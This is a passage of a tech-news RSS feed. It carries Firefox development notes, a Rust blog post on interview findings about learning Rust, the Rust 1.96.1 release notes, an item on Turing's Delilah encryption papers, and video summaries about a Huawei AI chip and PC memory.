</ul>
<h6><i>Other</i></h6>
<ul>
<li>Marco, Drew and Daisuke fixed several intermittent test failures.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038510">2038510</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023908">2023908</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011584">2011584</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938142">1938142</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1971091">1971091</a></li>
</ul>
<h5>Search</h5>
<ul>
<li>Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from <i>resource://search-extensions/</i>.</li>
<li>Caleb fixed multiple documentation issues and added a test covering searches from a private window.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904613">1904613</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035878">2035878</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037942">2037942</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033545">2033545</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2005724">2005724</a></li>
</ul>
<h5>Places</h5>
<ul>
<li>Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.</li>
<li>Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039534">2039534</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1505800">1505800</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008829">2008829</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029541">2029541</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035084">2035084</a></li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]></title>
<description><![CDATA[This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some ...]]></description>
<link>https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This is another post in our series covering what we learned through the Vision Doc process. We previously <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">described the overall approach and what we learned about doing user research</a>, we <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/" rel="external">explored what people love about Rust</a>, <a href="https://blog.rust-lang.org/2026/01/14/what-does-it-take-to-ship-rust-in-safety-critical/" rel="external">dug into what it takes to ship safety-crticial Rust</a>, and <a href="https://blog.rust-lang.org/2026/03/20/rust-challenges/" rel="external">described some of the major challenges that people face when using Rust</a>.</em></p>
<p>In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.</p>
<p>As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#many-paths-to-needing-rust"></a>
Many paths to needing Rust</h3>
<p>The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.</p>
<blockquote>
<p>"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#rust-learning-resources"></a>
Rust learning resources</h3>
<p>Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as <a href="https://doc.rust-lang.org/book/" rel="external">The Rust Programming Language Book</a> and find that sufficient to build on what the compiler was already showing them.</p>
<blockquote>
<p>"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier</p>
</blockquote>
<p>Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as <a href="https://rustlings.rust-lang.org/" rel="external">Rustlings</a>, <a href="https://danielkeep.github.io/tlborm/book/index.html" rel="external">The Little Book of Rust Macros</a>, and <a href="https://rust-unofficial.github.io/too-many-lists/" rel="external">Learn Rust With Entirely Too Many Linked Lists</a>.</p>
<blockquote>
<p>"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant</p>
</blockquote>
<blockquote>
<p>"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage</p>
</blockquote>
<p>These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.</p>
<blockquote>
<p>"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry</p>
</blockquote>
<p>Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#beginner-stumblings-and-unlearning-habits"></a>
Beginner stumblings and unlearning habits</h3>
<p>It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.</p>
<blockquote>
<p>"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of <code>mut</code> and not <code>mut</code> and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT</p>
</blockquote>
<p>We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.</p>
<blockquote>
<p>"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&amp;D Lab</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-to-work-with-the-borrow-checker"></a>
Learning to work with the borrow checker</h3>
<p>We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#the-compiler-as-teacher"></a>
The compiler as teacher</h4>
<p>Rust's diagnostics did the teaching on their own, especially around lifetimes.</p>
<blockquote>
<p>"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs</p>
</blockquote>
<blockquote>
<p>"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-by-doing"></a>
Learning by doing</h4>
<p>Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.</p>
<blockquote>
<p>"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust</p>
</blockquote>
<blockquote>
<p>"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#letting-go-of-clone-guilt"></a>
Letting go of "clone guilt"</h4>
<p>Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.</p>
<blockquote>
<p>"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university</p>
</blockquote>
<p>The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.</p>
<p>We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or <code>Vec</code>s.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#multi-paradigm-but-not-the-oop-some-are-used-to"></a>
Multi-paradigm, but not the OOP some are used to</h3>
<p>The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.</p>
<blockquote>
<p>"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM</p>
</blockquote>
<blockquote>
<p>"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company</p>
</blockquote>
<p>Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.</p>
<blockquote>
<p>"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries</p>
</blockquote>
<blockquote>
<p>"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#teaching-rust-in-academia"></a>
Teaching Rust in academia</h3>
<p>We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.</p>
<blockquote>
<p>"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust</p>
</blockquote>
<p>The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.</p>
<p>What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-using-llms"></a>
Learning using LLMs</h3>
<p>Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.</p>
<blockquote>
<p>"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate</p>
</blockquote>
<blockquote>
<p>"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust</p>
</blockquote>
<p>For some learners, an LLM is just another way to find answers, no different than a search engine.</p>
<blockquote>
<p>"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space</p>
</blockquote>
<p>One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.</p>
<blockquote>
<p>"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company</p>
</blockquote>
<p>We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#organizational-considerations-for-rust-learners"></a>
Organizational considerations for Rust learners</h3>
<p>We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.</p>
<blockquote>
<p>"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider</p>
</blockquote>
<blockquote>
<p>"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation</p>
</blockquote>
<p>Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.</p>
<blockquote>
<p>"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM</p>
</blockquote>
<p>The community and helping each other aspect seems to grow bonds as organizations mature.</p>
<blockquote>
<p>"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#silent-attrition"></a>
Silent attrition</h3>
<p>We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.</p>
<blockquote>
<p>"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor</p>
</blockquote>
<p>There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.</p>
<blockquote>
<p>"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)</p>
</blockquote>
<p>We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.</p>
<blockquote>
<p>"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust</p>
</blockquote>
<p>While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.</p>
<blockquote>
<p>"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#feedback-on-near-bounces-from-survey"></a>
Feedback on near-bounces from survey</h4>
<p>We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:</p>
<blockquote>
<p>"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A</p>
</blockquote>
<p>Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.</p>
<p>One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.</p>
<p>Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#need-more-focused-work-on-silent-attritrion"></a>
Need more focused work on silent attritrion</h4>
<p>The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#conclusions"></a>
Conclusions</h3>
<p>Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.</p>
<p>That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-seems-worth-trying"></a>
What seems worth trying</h4>
<p><strong>Learning materials aimed at unlearning.</strong> Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.</p>
<p><strong>Put the "clone freely while you're learning" advice somewhere official.</strong> Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.</p>
<p><strong>Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did.</strong> Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.</p>
<p><strong>Is "the book" actually out of date?</strong> Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.</p>
<p><strong>How stuck learners get treated is shaping who stays.</strong> We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.</p>
<p><strong>Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust.</strong> Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-we-still-don-t-know"></a>
What we still don't know</h4>
<p>The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">our first post</a>, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.</p>
<p>We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.</p>
<p>The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: Announcing Rust 1.96.1]]></title>
<description><![CDATA[The Rust team has published a new point release of Rust, 1.96.1. Rust is a programming language that is empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, getting Rust 1.96.1 is as easy as:
rustup update stable
If you don't h...]]></description>
<link>https://tsecurity.de/de/3693287/tools/the-rust-programming-language-blog-announcing-rust-1961/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693287/tools/the-rust-programming-language-blog-announcing-rust-1961/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:22 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Rust team has published a new point release of Rust, 1.96.1. Rust is a programming language that is empowering everyone to build reliable and efficient software.</p>
<p>If you have a previous version of Rust installed via rustup, getting Rust 1.96.1 is as easy as:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>rustup update stable</span></span></code></pre>
<p>If you don't have it already, you can <a href="https://www.rust-lang.org/install.html" rel="external">get <code>rustup</code></a> from the appropriate page on our website.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/30/Rust-1.96.1/#what-s-in-1-96-1"></a>
What's in 1.96.1</h3>
<p>Rust 1.96.1 fixes:</p>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17131" rel="external">Missing retries / timeouts in Cargo's HTTP client</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158214" rel="external">Miscompilation in a MIR optimization</a></li>
</ul>
<p>It also <a href="https://github.com/rust-lang/cargo/pull/17140" rel="external">fixes</a> three CVEs
affecting libssh2 (which is compiled into Cargo):</p>
<ul>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2025-15661" rel="external">CVE-2025-15661</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-55199" rel="external">CVE-2026-55199</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-55200" rel="external">CVE-2026-55200</a></li>
</ul>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/30/Rust-1.96.1/#contributors-to-1-96-1"></a>
Contributors to 1.96.1</h4>
<p>Many people came together to create Rust 1.96.1. We couldn't have done it without all of you. <a href="https://thanks.rust-lang.org/rust/1.96.1/" rel="external">Thanks!</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Details of Alan Turing’s Voice Encryption System]]></title>
<description><![CDATA[Really interesting piece of cryptographic history:
In November 2023, a large cache of his wartime papers—nicknamed the “Bayley papers”—was auctioned in London for almost half a million U.S. dollars. The previously unknown cache contains many sheets in Turing’s own handwriting, telling of his top-...]]></description>
<link>https://tsecurity.de/de/3693279/reverse-engineering/details-of-alan-turings-voice-encryption-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693279/reverse-engineering/details-of-alan-turings-voice-encryption-system/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:05 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Really interesting piece of cryptographic <a href="https://spectrum.ieee.org/alan-turings-delilah">history</a>:</p>
<blockquote><p>In November 2023, a large cache of his wartime papers—nicknamed the “Bayley papers”—was <a href="https://www.bonhams.com/auction/28322/lot/45/turing-alan-the-delilah-project-the-papers-of-alan-turing-and-donald-bayley-relating-to-the-delilah-project/">auctioned</a> in London for almost half a million U.S. dollars. The previously unknown cache contains many sheets in Turing’s own handwriting, telling of his top-secret “Delilah” engineering project from 1943 to 1945. Delilah was Turing’s portable voice-encryption system, named after the biblical deceiver of men. There is also material written by Bayley, often in the form of notes he took while Turing was speaking. It is thanks to Bayley that the papers survived: He kept them until he died in 2020, 66 years after Turing passed away...</p></blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[China's New Huawei Ascend 950PR Just Destroyed NVIDIA's Future in AI Industry!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 179x - Views:7273 Huawei may have just become NVIDIA’s biggest problem in China.

In this video, we break down Huawei’s new Ascend 950PR AI chip, why it matters for the global semiconductor war, and how U.S. export restrictions may have accelerated China’s push to...]]></description>
<link>https://tsecurity.de/de/3693243/videos/chinas-new-huawei-ascend-950pr-just-destroyed-nvidias-future-in-ai-industry/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693243/videos/chinas-new-huawei-ascend-950pr-just-destroyed-nvidias-future-in-ai-industry/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:08 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 179x - Views:7273 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/sGHhWmeVIqQ?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Huawei may have just become NVIDIA’s biggest problem in China.<br />
<br />
In this video, we break down Huawei’s new Ascend 950PR AI chip, why it matters for the global semiconductor war, and how U.S. export restrictions may have accelerated China’s push toward technological independence. The Ascend 950PR is designed mainly for AI inference and is built by SMIC using advanced DUV multi-patterning. Huawei is also attacking NVIDIA’s biggest advantages beyond hardware by building a CUDA compatibility layer through CANN and scaling thousands of Ascend NPUs together inside the Atlas 950 SuperPod using UnifiedBus interconnect technology. We also look at reported demand from ByteDance, Alibaba Cloud, and Tencent, the role of DeepSeek models optimized for Ascend hardware, and why NVIDIA could lose major market share inside China even without Huawei beating its most advanced chips in every benchmark. This is bigger than one AI chip. China is building a parallel AI ecosystem across chips, software, networking, cloud infrastructure, and AI models — and Huawei is quickly becoming the center of it.<br />
<br />
#Huawei #NVIDIA #AIChips #Ascend950PR #ChinaTech #Semiconductors #ArtificialIntelligence<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why PC Memory is Stuck in 1995 (Unified Memory Explained)]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 10104x - Views:195333 Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You'll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonu...]]></description>
<link>https://tsecurity.de/de/3693241/videos/why-pc-memory-is-stuck-in-1995-unified-memory-explained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693241/videos/why-pc-memory-is-stuck-in-1995-unified-memory-explained/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:06 +0200</pubDate>
